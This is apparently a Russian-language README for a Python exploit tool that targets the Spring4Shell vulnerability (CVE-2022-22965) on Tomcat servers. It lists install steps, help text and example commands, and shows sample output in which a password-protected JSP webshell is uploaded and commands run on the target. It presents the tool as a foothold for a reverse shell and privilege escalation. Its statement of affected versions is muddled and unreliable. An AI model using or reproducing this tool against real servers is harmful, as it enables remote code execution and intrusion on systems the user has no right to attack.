
spring4shell | CVE-2022-22965
реализация CVE-2022-22965 на Python, предоставляющая пользователю подсказку в стиле SSH-сессии.
Скрипт разработан так, чтобы быть простым для понимания и выполнения, с учётом читаемости и доступности — в зависимости от выбора пользователя. Предназначен для эксплуатации уязвимости на серверах Tomcat. Поле fileDateFormat на сервере будет установлено и сброшено в рамках работы скрипта, что позволяет запускать эксплойт многократно. Возможна необходимость очистки.
Уязвимость обнаружена в
Java Spring Framework до версии 5.2, а также в версиях 5.3.0–17 и 5.2.0–19, работающих на версии Java Development Kit не ниже 9.
Подробнее:
https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-22965
Для работы эксплойта требуются модули requests и BeautifulSoup. Их можно установить с помощью:
pip3 install bs4
pip3 install requests
Все остальные модули встроены в Python3.
Для работы скрипта требуется только URL уязвимого сервера. Однако есть и другие флаги для удобства и т.д.
Вывод --help:
usage: spring4shell_v3.py [-h] [-f FILENAME] [-p PASSWORD] [-d DIRECTORY] [-a] [-n] address
spring4shell_v3.py exploits an RCE vulnerability in
applications running spring core java framework.
positional arguments:
address ip/hostname, port, sub-directories to the vulnerable spring core framework on tomcat
optional arguments:
-h, --help show this help message and exit
-f FILENAME, --filename FILENAME
name of the file to create and upload
-p PASSWORD, --password PASSWORD
password to protect the uploaded shell
-d DIRECTORY, --directory DIRECTORY
The upload path for the file
-a, --accessible turns off features which may negatively affect screen readers
-n, --no-colour removes colour output
example:
spring4shell_v3.py http://10.10.10.10/
spring4shell_v3.py http://hostname:8080/ -p 'password123'
spring4shell_v3.py http://10.10.10.10/subdir/ -a -f 'jsp-shell'
пример вывода:
./spring4shell http://spring-vuln.local
/ / | / / /
___ ___ ___ ___ ___ (___| ___ (___ ___ ( (
|___ | )| )| | )| ) )|___ | )|___)| |
__/ |__/ | | | / |__/ / __/ | / |__ | |
| __/
CVE-2022-22965.
[i] attempting to change tomcat log variables.
[+] log variables set successfully.
[+] attempting to change tomcat log location variables.
[+] log successfully modified.
[i] waiting for tomcat changes.
[i] sending the webshell.
[i] resetting the log variables.
[i] shell location:
[i] http://spring-vuln.local/20df2b10c787d5ae.jsp?pwd=bd72c5e8&cmd=whoami
[i] or run commands here. type 'exit' to quit.
spring4shell:[email protected] $ whoami
service
spring4shell:[email protected] $
Само собой разумеется, что скрипт не предоставляет пользователю полноценную оболочку, но служит платформой для получения полноценной обратной оболочки, повышения привилегий и т.д. на целевой системе.
Скрипт пытается определить пользователя/службу, под которыми работает уязвимый сервер, чтобы использовать это в псевдокомандной строке программы, хотя это не всегда надёжно.
Скрипт в основном был написан как упражнение по написанию скриптов на Python для одного эксплойта с учётом как читаемости, так и доступности. Предназначен для простоты использования и понимания. Пытается обрабатывать распространённые исключения.
https://skerritt.blog/a11y/ — реализация доступности.